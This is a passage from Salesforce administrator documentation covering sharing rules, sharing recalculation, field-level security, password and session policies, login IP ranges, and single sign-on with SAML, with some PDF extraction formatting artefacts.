outside of this sharing rule.

(available for associated contacts, opportunities, and cases


only)
Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.

7. Click Save.

See Also:
Sharing Rules Overview
Criteria-Based Sharing Rules Overview

651

Security and Sharing

Sharing Rules Overview

Editing Account Territory Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit sharing rules:

Manage Users

For account territory sharing rules, you can edit the sharing access settings, but no other settings.
1.
2.
3.
4.

Click Your Name > Setup > Security Controls > Sharing Settings.
In the Account Territory Sharing Rules related list, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
Select the sharing access setting for users.
Access Setting

Description

Private

Users can't view or update records, unless access is granted


outside of this sharing rule.

(available for associated contacts, opportunities, and cases


only)
Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.

5. Click Save.

See Also:
Sharing Rules Overview

652

Security and Sharing

Sharing Rules Overview

Editing Contact Sharing Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit sharing rules:

Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1.
2.
3.
4.

Click Your Name > Setup > Security Controls > Sharing Settings.
In the Contact Sharing Rules related list, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.

5. Select the sharing access setting for users.


Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

6. Click Save.

See Also:
Sharing Rules Overview
Criteria-Based Sharing Rules Overview

653

Security and Sharing

Sharing Rules Overview

Editing Opportunity Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit sharing rules:

Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1.
2.
3.
4.

Click Your Name > Setup > Security Controls > Sharing Settings.
In the Opportunity Sharing Rules related list, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.

5. Select the sharing access setting for users. For owner-based rules or criteria-based rules with ownership as criteria, the
Opportunity Access level applies to opportunities owned by the group, role, or territory members, regardless of the
associated account.
Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

6. Click Save.

See Also:
Sharing Rules Overview
Criteria-Based Sharing Rules Overview

654

Security and Sharing

Sharing Rules Overview

Editing Case Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit sharing rules:

Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1.
2.
3.
4.

Click Your Name > Setup > Security Controls > Sharing Settings.
In the Case Sharing Rules related list, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.

5. Select the sharing access setting for users.


Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

6. Click Save.

See Also:
Sharing Rules Overview
Criteria-Based Sharing Rules Overview

655

Security and Sharing

Sharing Rules Overview

Editing Campaign Sharing Rules


Available in: Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit sharing rules:

Manage Users

For campaign sharing rules, you can edit the sharing access settings, but no other settings.
1.
2.
3.
4.

Click Your Name > Setup > Security Controls > Sharing Settings.
In the Campaign Sharing Rules related list, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
Select the sharing access setting for users.
Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

Full Access

Any user in the selected group, role, or territory can view, edit, transfer, delete,
and share the record, just like the record's owner.
With a Full Access sharing rule, users can also view, edit, delete, and close
activities associated with the record if the organization-wide sharing setting for
activities is Controlled by Parent.

5. Click Save.

See Also:
Sharing Rules Overview

656

Security and Sharing

Sharing Rules Overview

Editing Custom Object Sharing Rules


Available in: Enterprise,, Unlimited, Developer, and Database.com Editions.

User Permissions Needed


To edit sharing rules:

Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1.
2.
3.
4.

Click Your Name > Setup > Security Controls > Sharing Settings.
In the Sharing Rules related list for the custom object, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.

5. Select the sharing access setting for users.


Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

6. Click Save.

See Also:
Sharing Rules Overview
Criteria-Based Sharing Rules Overview

657

Security and Sharing

Sharing Rules Overview

Sharing Rule Considerations


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions
Account territory, case, lead, opportunity, and custom object sharing rules are available in: Enterprise, Unlimited, and
Developer Editions
Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and
Developer Editions
Only custom object sharing rules are available in Database.com

Sharing rules allow you to selectively grant data access to defined sets of users. Review the following notes before using sharing
rules:

You can use sharing rules to grant wider access to data. You cannot restrict access below your organization-wide default
levels.
Sharing rules apply to all new and existing records that meet the definition of the source data set.
Sharing rules apply to both active and inactive users.
When you change the access levels for a sharing rule, all existing records are automatically updated to reflect the new access
levels.
When you delete a sharing rule, the sharing access created by that rule is automatically removed.
When you transfer records from one user to another, the sharing rules are reevaluated to add or remove access to the
transferred records as necessary.
When you modify which users are in a group, role, or territory, the sharing rules are reevaluated to add or remove access
as necessary.
Sharing rules automatically grant additional access to related records. For example, opportunity sharing rules give role or
group members access to the account associated with the shared opportunity if they do not already have it. Likewise, contact
and case sharing rules provide the role or group members with access to the associated account as well.
If multiple sharing rules give a user different levels of access to a record, the user gets the most permissive access level.
Users in the role hierarchy are automatically granted the same access that users below them in the hierarchy have from a
sharing rule, provided that the object is a standard object or the Grant Access Using Hierarchies option is selected.
Regardless of sharing rules, users can, at a minimum, view the accounts in their territories. Also, users can be granted access
to view and edit the contacts, opportunities, and cases associated with their territories' accounts.
Making changes to sharing rules may require changing a large number of records at once. To process these changes
efficiently, you request may be queued and you may receive an email notification when the process has completed.
You can create rules to share records between most types of Customer Portal users and Salesforce users. Similarly, you can
create sharing rules between Customer Portal users from different accounts as long as they have the Customer Portal
Manager user license. However, you can't include high-volume portal users in sharing rules because they don't have roles
and can't be in public groups.
You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and Internal
Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this wizard to convert
any publicly accessible report, dashboard, and document folders to folders that are accessible by all users except for portal
users.

658

Security and Sharing

Sharing Rules Overview

Lead sharing rules do not automatically grant access to lead information after leads are converted into account, contact,
and opportunity records.

See Also:
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
About High-Volume Portal Users (Service Cloud Portal Users)

Defer Sharing Calculations Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Note: The defer sharing calculation feature isn't enabled by default. To enable it for your organization, contact
salesforce.com.
Performing a large number of configuration changes can lead to very long sharing rule evaluations or timeouts. To avoid these
issues, an administrator can suspend these calculations and resume calculations during an organization's maintenance period.
Deferring sharing calculation is ideal if you make a large number of changes to roles, territories, groups, users, portal account
ownership, or public groups participating in sharing rules, and want to suspend the automatic sharing calculation to a later
time.
Group membership and sharing rule calculation are enabled by default.
If

You can

Group membership and sharing rule calculation are enabled

Group membership calculation is enabled and sharing rule


calculation is suspended

Suspend, update, and resume group membership


calculation. This suspends sharing rule calculation and
requires a full recalculation of sharing rules.
Suspend, update, and resume sharing rule calculation.

Suspend, update, and, resume group membership calculation.

Group membership calculation is suspended and sharing rule Suspend, update, resume, and recalculate sharing rule
calculation is enabled
calculation.

To suspend or resume group membership calculation, see Managing Group Membership Calculations.
To suspend, resume, or recalculate sharing rule calculation, see Sharing Rule Recalculation.

See Also:
Managing Group Membership Calculations
Recalculating Sharing Rules

659

Security and Sharing

Sharing Rules Overview

Recalculating Sharing Rules


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions
Account territory, case, lead, and opportunity, sharing rules are available in: Enterprise, Unlimited, and Developer Editions
Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and
Developer Editions
Custom object sharing rules are available in: Enterprise, Unlimited, Developer, and Database.com Editions.

User Permissions Needed


To recalculate sharing rules:

Manage Users

When you make changes to groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove
access as necessary. Changes could include adding or removing individual users from a group, role, or territory, changing which
role a particular role reports to, changing which territory a particular territory is subordinate to, or adding or removing a group
from within another group. However, if these changes affect too many records at once, a message appears warning that the
sharing rules won't be automatically reevaluated, and you must manually recalculate them.
Note:
You dont have to recalculate each time you edit or create a new sharing rule. The Recalculate buttons on the Sharing
Rules related lists should only be used if sharing rule updates have failed or are not working as expected. Admins will
receive a notification email if sharing rule updates have failed.
To manually recalculate an object's sharing rules:
1. Click Your Name > Setup > Security Controls > Sharing Settings.
2. In the Sharing Rules related list for the object you want, click Recalculate.
Note: The Recalculate button is disabled when group membership or sharing rule calculations are deferred.

When sharing is recalculated, Salesforce also runs all Apex sharing recalculations.
Automatic sharing rule calculation is enabled by default. You can defer sharing rule calculation by suspending and resuming
at your discretion.

See Also:
Sharing Rules Overview
Recalculating Apex Managed Sharing
Defer Sharing Calculations Overview
Managing Group Membership Calculations

660

Security and Sharing

Sharing Rules Overview

Sharing Rule Recalculation


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions
Account territory, case, lead, and opportunity, sharing rules are available in: Enterprise, Unlimited, and Developer Editions
Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and
Developer Editions
Custom object sharing rules are available in: Enterprise, Unlimited, Developer, and Database.com Editions.

User Permissions Needed


To suspend, resume or recalculate sharing rules:

Manage Users

Note: The defer sharing calculation feature isn't enabled by default. To enable it for your organization, contact
salesforce.com.
To suspend, resume, or recalculate sharing rule calculation:
1. Click Your Name > Setup > Security Controls > Defer Sharing Calculations.
2. In the Sharing Rule Calculations related list, click Suspend.
3. Make changes to sharing rules, roles, territories, or public groups participating in sharing rules.
Note: Any changes to sharing rules require a full recalculation.

To enable sharing rule calculation, click Resume.


4. To manually recalculate sharing rules, click Recalculate.
Consider deferring your sharing calculations before performing massive updates to sharing rules. When sharing is recalculated,
Salesforce also runs all Apex sharing recalculations.

661

Security and Sharing

Sharing Rules Overview

Managing Group Membership Calculations


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To defer sharing calculations:

Manage Users
AND
View Setup and Configuration
AND
Manage Sharing Calculation Deferral

To suspend and resume group membership calculation:

Manage Users

Note: The defer sharing calculation feature isn't enabled by default. To enable it for your organization, contact
salesforce.com.
When you make changes to roles, territories, groups, or users, or change ownership of portal accounts, group membership is
automatically recalculated to add or remove access as necessary. Changes can include adding or removing a user from a group
or changing a role to allow access to different sets of reports.
If you are making changes to groups that affect a lot of records, you may want to suspend automatic group membership
calculation.
To suspend or resume group membership calculation:
1. Click Your Name > Setup > Security Controls > Defer Sharing Calculations.
2. In the Group Membership Calculations related list, click Suspend.
Note: If sharing rule calculations are enabled, suspending group membership calculations also suspends sharing
rule calculations. Resuming group membership calculations also requires full sharing rule recalculation.
You can't join a Chatter group during recalculation because adding a user to a Chatter group affects group
membership tables, and group membership tables can't be changed during recalculation. You can join a Chatter
group when group membership recalculation is finished.
3. Make your changes to roles, territories, groups, users, or portal account ownership.
4. To enable group membership calculation, click Resume.

See Also:
Defer Sharing Calculations Overview
Recalculating Sharing Rules

662

Security and Sharing

Field-Level Security Overview

Field-Level Security Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Field-level security settings let administrators restrict users access to view and edit specific fields in:

Detail and edit pages


Related lists
List views
Reports
Connect Offline
Email and mail merge templates
Custom links
The partner portal
The Salesforce Customer Portal
Synchronized data
Imported data

The fields that users see on detail and edit pages are a combination of page layouts and field-level security settings. The most
restrictive field access settings of the two always apply. For example, if a field is required in the page layout and read-only in
the field-level security settings, the field-level security overrides the page layout and the field will be read-only for the user.
Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to
prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact
salesforce.com Customer Support.
You can define field-level security in any of the following ways:

For multiple fields on a single permission set or profile


For a single field on all profiles

After setting field-level security for users, you can:

Create page layouts to organize the fields on detail and edit pages.
Tip: Use field-level security as the means to restrict users access to fields; then use page layouts primarily to
organize detail and edit pages within tabs. This reduces the number of page layouts for you to maintain.

Verify users access to fields by checking the field accessibility grid.


Set the fields that display in search results, in lookup dialog search results, and in the key lists on tab home pages.

663

Security and Sharing

Field-Level Security Overview

Note: Roll-up summary and formula fields are always read-only on detail pages and not available on edit pages. They
may also be visible to users even though they reference fields that your users cannot see. Universally required fields
always display on edit pages regardless of field-level security.
The relationship group wizard allows you to create and edit relationship groups regardless of field-level security. For
more information on the behaviors of relationship group members, see Relationship Group Considerations on page
2679.

See Also:
Overview of Page Layouts and Field-Level Security
Overview of User Permissions and Access
Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security

Setting Field Permissions in Permission Sets and Profiles


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To set field-level security:

Customize Application

Field permissions specify the access level for each field in an object.
1. Click Your Name > Setup > Manage Users, then click Permission Sets or Profiles.
2. Select a permission set or profile.
3. Depending on which interface you're using, do one of the following:

Permission sets or enhanced profile user interfaceIn the Find Settings... box, enter the name of the object you want
and select it from the list. Click Edit, then scroll to the Field Permissions section.
Original profile user interfaceIn the Field-Level Security section, click View next to the object you want to modify,
and then click Edit.

4. Specify the field's access level.


5. Click Save.

See Also:
Field-Level Security Overview

664

Security and Sharing

Setting Password Policies

Setting Field-Level Security for a Single Field on All Profiles


Available in: Enterprise, Unlimited and Developer Editions

User Permissions Needed


To set field-level security:

1.
2.
3.
4.
5.

Customize Application

Select Your Name > Setup > Customize, click a tab or activity link, and click Fields.
Select the field you want to modify.
Click Set Field-Level Security.
Specify the field's access level.
Click Save.

See Also:
Field-Level Security Overview

Setting Password Policies


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To set password policies:

Manage Users

For your organizations security, you can set various password and login policies.
Note: User passwords cannot exceed 16,000 bytes.

1. Click Your Name > Setup > Security Controls > Password Policies.
2. Customize the password settings.
Field

Description

User passwords expire in

The length of time until all user passwords expire and must
be changed. Users with the Password Never Expires
permission are not affected by this setting. The default is 90
days. This setting is not available for Self-Service portals.

665

Security and Sharing

Setting Password Policies

Field

Description

Enforce password history

Save users previous passwords so that they must always reset


their password to a new, unique password. Password history
is not saved until you set this value. The default is 3
passwords remembered. You cannot select No
passwords remembered unless you select Never
expires for the User passwords expire in field.
This setting is not available for Self-Service portals.

Minimum password length

The minimum number of characters required for a password.


When you set this value, existing users aren't affected until
the next time they change their passwords. The default is 8
characters.

Password complexity requirement

The requirement for which types of characters must be used


in a users password.
Complexity levels:

No restrictionallows any password value and is

the least secure option.

Must mix alpha and numericrequires at least

one alphabetic character and one number. This is the


default.

Must mix alpha, numeric, and special


charactersrequires at least one alphabetic character,

one number, and one of the following characters: ! #


$ % - _ = + < >.
Password question requirement

The values are Cannot contain password, meaning


that the answer to the password hint question cannot contain
the password itself; or None, the default, for no restrictions
on the answer. The users answer to the password hint
question is required. This setting is not available for
Self-Service portals, Customer Portals, or partner portals.

Maximum invalid login attempts

The number of login failures allowed for a user before they


become locked out. This setting is not available for
Self-Service portals.

Lockout effective period

The duration of the login lockout. The default is 15 minutes.


This setting is not available for Self-Service portals.
Note: If users are locked out, they must wait until
the lockout period expires. Alternatively, a user with
the Reset Passwords and Unlock Users permission
can unlock them by clicking Your Name > Setup >
Manage Users > Users, selecting the user, then
clicking Unlock. This button is only available when
a user is locked out.

666

Security and Sharing

Setting Password Policies

3. Customize the forgotten password and locked account assistance information.


Note: This setting is not available for Self-Service portals, Customer Portals, or partner portals.

Field

Description

Message

When set, this custom message appears in the Account


Lockout email and at the bottom of the Confirm Identity
screen for users resetting their passwords. You can customize
it with the name of your internal help desk or a system
administrator. For the lockout email, the message only
appears for accounts that need an administrator to reset
them. Lockouts due to time restrictions get a different system
email message.

Help link

If set, this link displays with the text defined in the Message
field. In the Account Lockout email, the URL displays just
as it is typed into the Help link field, so the user can see
where the link takes them. This is a security feature because
the user is not within a Salesforce organization.
On the Confirm Identity password screen, the Help link
URL combines with the text in the Message field to make
a clickable link. Security isn't an issue since the user is in a
Salesforce organization when changing passwords.
Valid protocols:

http
https
mailto:

4. Specify an alternative home page for users with the API Only User permission. After completing user management tasks
such as resetting a password, API-only users are redirected to the URL specified here, rather than to the login page.
5. Click Save.

See Also:
Setting Login Restrictions
Resetting Passwords
Expiring Passwords
Security Implementation Guide

667

Security and Sharing

Setting Session Security

Setting Session Security


The Login IP Ranges setting is available in: Personal, Contact Manager, Group, Professional, and Database.com
Editions (Valid IP addresses can be set at the profile level for Enterprise, Unlimited, Developer, and Database.com
Editions)
The Lock sessions to the IP address from which they originated setting is available in: Enterprise,
Unlimited, Developer, and Database.com Editions
All other settings available in: Personal, Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and
Database.com Editions

User Permissions Needed


To set session security:

Customize Application

You can modify session security settings to specify connection type, timeout settings, and more.
1. Click Your Name > Setup > Security Controls > Session Settings.
2. Customize the session security settings.
Field

Description

Timeout value

Length of time after which the system logs out inactive users. Select a
value between 15 minutes and 12 hours. Choose a shorter timeout period
if your organization has sensitive information and you want to enforce
stricter security.
Note: The last active session time value isnt updated until
halfway through the timeout period. That is, if you have a 30
minute timeout, the system wont check for activity until 15
minutes have passed. For example, assume you have a 30 minute
timeout value. If you update a record after 10 minutes, the last
active session time value wont be updated because there was no
activity after 15 minutes. Youll be logged out in 20 more minutes
(30 minutes total) because the last active session time wasnt
updated. Suppose you update a record after 20 minutes. Thats
five minutes after the last active session time is checked, so your
timeout resets and you have another 30 minutes before being
logged out, for a total of 50 minutes.

Disable session timeout warning


popup

Determines whether the system prompts inactive users with a timeout


warning message. Users are prompted 30 seconds before timeout as
specified by the Timeout value.

668

Security and Sharing

Setting Session Security

Field

Description

Lock sessions to the IP address


from which they originated

Determines whether user sessions are locked to the IP address from


which the user logged in; helping to prevent unauthorized persons from
hijacking a valid session.
Note: This may inhibit various applications and mobile devices.

Require secure connections (HTTPS) Determines whether HTTPS is required to log in to or access Salesforce,

apart from Force.com sites, which can still be accessed using HTTP.
(To enforce HTTPS for all Force.com sites communication, see Public
Access Settings for Force.com Sites on page 1633.)
This option is enabled by default for security reasons. It should not be
disabled. Once this preference is set to require HTTPS, you cant
manually change it. To change to HTTP, contact your salesforce.com
representative.
Note: The Resetting Passwords on page 511 page can only be
accessed using HTTPS.

Force relogin after Login-As-User

Determines whether an administrator that is logged in as another user


is returned to their previous session after logging out as the secondary
user. For more information, see Logging In as Another User on page
512.
If the option is enabled, an administrator must log in again to continue
using Salesforce after logging out as the user; otherwise, the administrator
is returned to their original session after logging out as the user.

Require HttpOnly attribute

Restricts session ID cookie access. A cookie with the HttpOnly attribute


is not accessible via non-HTTP methods, such as calls from JavaScript.
Note: If you have a custom or packaged application that uses
JavaScript to access session ID cookies, selecting Require
HttpOnly attribute breaks your application because it denies
the application access to the cookie. The Developer Console and
AJAX Toolkit debugging window are also not available if the
Require HttpOnly attribute is selected.

Enable caching and password


autocomplete on login page

Allows the users browser to store usernames. If enabled, after an initial


log in, usernames are auto-filled into the User Name field on the login
page. This preference is selected by default and caching and autocomplete
are enabled.

Enable SMS-based identity


confirmation

Enables users to receive a one-time PIN delivered via SMS. Once


enabled, administrators or users must verify their mobile phone number
before taking advantage of this feature.

669

Security and Sharing

Restricting Login IP Ranges for Your Organization

Field

Description

Login IP Ranges

Specifies a range of IP addresses users must log in from (inclusive), or


the login will fail. Users need to activate their computers to successfully
log in from IP addresses outside this range.
To specify a range, click New and enter a lower and upper IP address to
define the range.
This field is not available in Enterprise, Unlimited, and Developer
Editions. In those editions, you can specify valid IP addresses per profile.
For more information, see Setting Login Restrictions on page 552.

3. Click Save.

See Also:
Security Implementation Guide

Restricting Login IP Ranges for Your Organization


Available in: All Editions

User Permissions Needed


To view network access:

Login Challenge Enabled

To change network access:

Manage Users

To help protect your organization's data from unauthorized access, you can specify a list of IP addresses from which users can
always log in without receiving a login challenge:
1. Click Your Name > Setup > Security Controls > Network Access.
2. Click New.
3. Enter a valid IP address in the Start IP Address field and a higher IP address in the End IP Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in. If you want to allow
logins from a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0,
enter 125.12.3.0 as both the start and end addresses.
The start and end IP addresses in an IPv4 range must include no more than 33,554,432 addresses (225, a /7 CIDR block).
For example, the following ranges are valid:

0.0.0.0 to 1.255.255.255
132.0.0.0 to 132.255.255.255
132.0.0.0 to 133.255.255.255

However, ranges like 0.0.0.0 to 2.255.255.255 or 132.0.0.0 to 134.0.0.0 are too large.

670

Single Sign On

About Single Sign-On

The start and end IP addresses in an IPv6 range must include no more than 79,228,162,514,264,337,593,543,950,336
addresses (296, a /32 CIDR block). For example, the following range is valid: 2001:8000:: to
2001:8000:ffff:ffff:ffff:ffff:ffff:ffff. However, ranges like :: to
ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff or 2001:8000:: to 2001:8001:: are too large.
4. Click Save.
Note: For organizations that were activated before December 2007, Salesforce automatically populated your
organization's trusted IP address list in December 2007, when this feature was introduced. The IP addresses from
which trusted users had already accessed Salesforce during the past six months were added.
Note: Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped
IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff
is 255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also
includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to
::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only
enabled for login in sandbox organizations for the Spring '12 release.

See Also:
Setting Login Restrictions
Security Implementation Guide

SINGLE SIGN ON
About Single Sign-On
Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

Single sign-on is a process that allows network users to access all authorized network resources without having to log in
separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database
or other client application rather than having separate user passwords managed by Salesforce.

671

Security and Sharing

About Single Sign-On

Salesforce offers the following ways to use single sign-on:

Federated authentication using Security Assertion Markup Language (SAML): When federated authentication is
enabled, Salesforce does not validate a users password. Instead, Salesforce verifies an assertion in the HTTP POST request,
and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated authentication is
available in all Editions.
Delegated authentication: When delegated authentication is enabled, Salesforce does not validate a users password.
Instead, Salesforce makes a Web services call to your organization to establish authentication credentials for the user. You
must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication
single sign-on for your organization.

When you have an external identity provider, and configure single sign-on for your Salesforce organization, Salesforce is then
acting as a service provider. You can also enable Salesforce as an identity provider, and use single sign-on to connect to a different
service provider. Only the service provider needs to configure single sign-on.
The Single Sign-On Settings page displays which version of single sign-on is available for your organization. To learn more
about the single sign-on settings, see Configuring SAML Settings for Single Sign-On on page 687. For more information
about SAML and Salesforce security, see the Security Implementation Guide.
Benefits of Single Sign-On
Implementing single sign-on can offer the following advantages to your organization:

Reduced Administrative Costs: With single sign-on, users only need to memorize a single password to access both network
resources or external applications and Salesforce. When accessing Salesforce from inside the corporate network, users are
logged in seamlessly, without being prompted to enter a username or password. When accessing Salesforce from outside
the corporate network, the users corporate network login works to log them in. With fewer passwords to manage, system
administrators receive fewer requests to reset forgotten passwords.
Leverage Existing Investment: Many companies use a central LDAP database to manage user identities. By delegating
Salesforce authentication to this system, when a user is removed from the LDAP system, they can no longer access Salesforce.
Consequently, users who leave the company automatically lose access to company data after their departure.
Time Savings: On average, a user takes five to 20 seconds to log in to an online application; longer if they mistype their
username or password and are prompted to reenter them. With single sign-on in place, the need to manually log in to
Salesforce is avoided. These saved seconds add up to increased productivity.
Increased User Adoption: Due to the convenience of not having to log in, users are more likely to use Salesforce on a
regular basis. For example, users can send email messages that contain links to information in Salesforce.com such as
records and reports. When the recipients of the email message click the links, the corresponding Salesforce.com page opens
automatically.

672

Security and Sharing

About SAML

Increased Security: Any password policies that you have established for your corporate network will also be in effect for
Salesforce. In addition, sending an authentication credential that is only valid for a single use can increase security for users
who have access to sensitive data.

See Also:
Best Practices for Implementing Single Sign-On
Configuring SAML Settings for Single Sign-On
About Just-in-Time Provisioning for SAML
Viewing Single Sign-On Settings
Validating SAML Settings for Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide
Just-in-Time Provisioning for Portals

About SAML
Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

Security Assertion Markup Language (SAML) is an XML-based standard that allows you to communicate authentication
decisions between one service and another. It underlies many Web single sign-on solutions. Salesforce supports SAML for
single sign-on into Salesforce from a corporate portal or identity provider.
Much of the work to set up single sign-on using SAML occurs with your identity provider:
1. Establish a SAML identity provider and gather information about how they will connect to Salesforce. This is the provider
that will send single sign-on requests to Salesforce.
2. Provide information to your identity provider, such as the URLs for the start and logout pages.
3. Configure Salesforce using the instructions in Configuring SAML Settings for Single Sign-On. This is the only step that
takes place in Salesforce.
Your identity provider should send SAML assertions to Salesforce using the SAML Web Single Sign-on Browser POST
profile. Salesforce sends SAML responses to the Identity Provider Login URL specified in Your Name > Setup >
Security Controls > Single Sign-On Settings. Salesforce receives the assertion, verifies it against your Salesforce configuration,
and allows single sign-on if the assertion is true.

673

Security and Sharing

Working With Your Identity Provider

If you have problems with the SAML assertion after you configure Salesforce for SAML, use the SAML Assertion Validator
to validate the SAML assertion. You may need to obtain a SAML assertion from your identity provider.
If your users are having problems using SAML to login, you can review the SAML login history to determine why they were
not able to log in and share that information with your identity provider.
If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download
Metadata to download an XML configuration file to send them, which they can then upload to automatically configure their
settings for connecting to your Salesforce organization.

Working With Your Identity Provider


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

1. You must gather the following information from your identity provider before configuring Salesforce for SAML.

The version of SAML the identity provider uses (1.1 or 2.0)


The entity ID of the identity provider (also known as the issuer)
An authentication certificate.
Tip: Be sure to store the certificate where you can access it from your browser. This will be uploaded to
Salesforce in a later step.

The following SAML assertion parameters, as appropriate:

The SAML user ID type


The SAML user ID location
Attribute Name
Attribute URI
Name ID format
Note: Attribute Name, Attribute URI, and Name ID format are only necessary if the SAML User ID
Location is in an Attribute element, and not the name identifier element of a Subject statement.

You may also want to share more information about these values with your identity provider.

674

Security and Sharing

Working With Your Identity Provider

Tip: Enable Salesforce for SAML and take a screenshot of the page for your identity provider. Click Your Name
> Setup > Security Controls > Single Sign-On Settings, click Edit, then select SAML Enabled.
2. Work with your identity provider to setup the start, login, and logout pages.
3. Share the example SAML assertions with your identity provider so they can determine the format Salesforce requires for
successful single sign-on.

Customizing SAML Start, Error, Login, and Logout Pages


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

The start, error, login, and logout pages can be customized for single sign-on users using SAML 1.1 or 2.0. As part of your
configuration, you need to decide the following:

The logout page: the URL to direct the user to when they click the Logout link in Salesforce. The default is
http://www.salesforce.com.
If your identity provider uses SAML 1.1, the start page: the URL to direct the user to when sign-on successfully completes.
This URL can be absolute, such as https://na1.salesforce.com/001/o or it can be relative, such as /001/o. This
URL should be an endpoint that accepts SAML authentication requests.
In SAML 2.0, the start page is the page the user attempted to access before they were authenticated. The SAML 2.0 start
page must support Sp-init single sign-on.
If you are using SAML 2.0, you can also use the RelayState parameter to control where users get redirected after a
successful login.

The single sign-on start page where Salesforce sends a SAML request to start the login sequence.
We recommend that if you specify a single sign-on start page that you also specify a logout page. When you specify a
logout page, when a user clicks logout or if a users session expires, the user is redirected to that page. If you dont specify
a logout page, the user is redirected to the general Salesforce login page.

For SAML 2.0, these values can be set either during the single sign-on configuration, or by your identity provider in the login
URL or SAML assertion. The order of precedence is:
1. Session cookieif youve already logged into Salesforce and a cookie still exists, the login and logout pages specified by
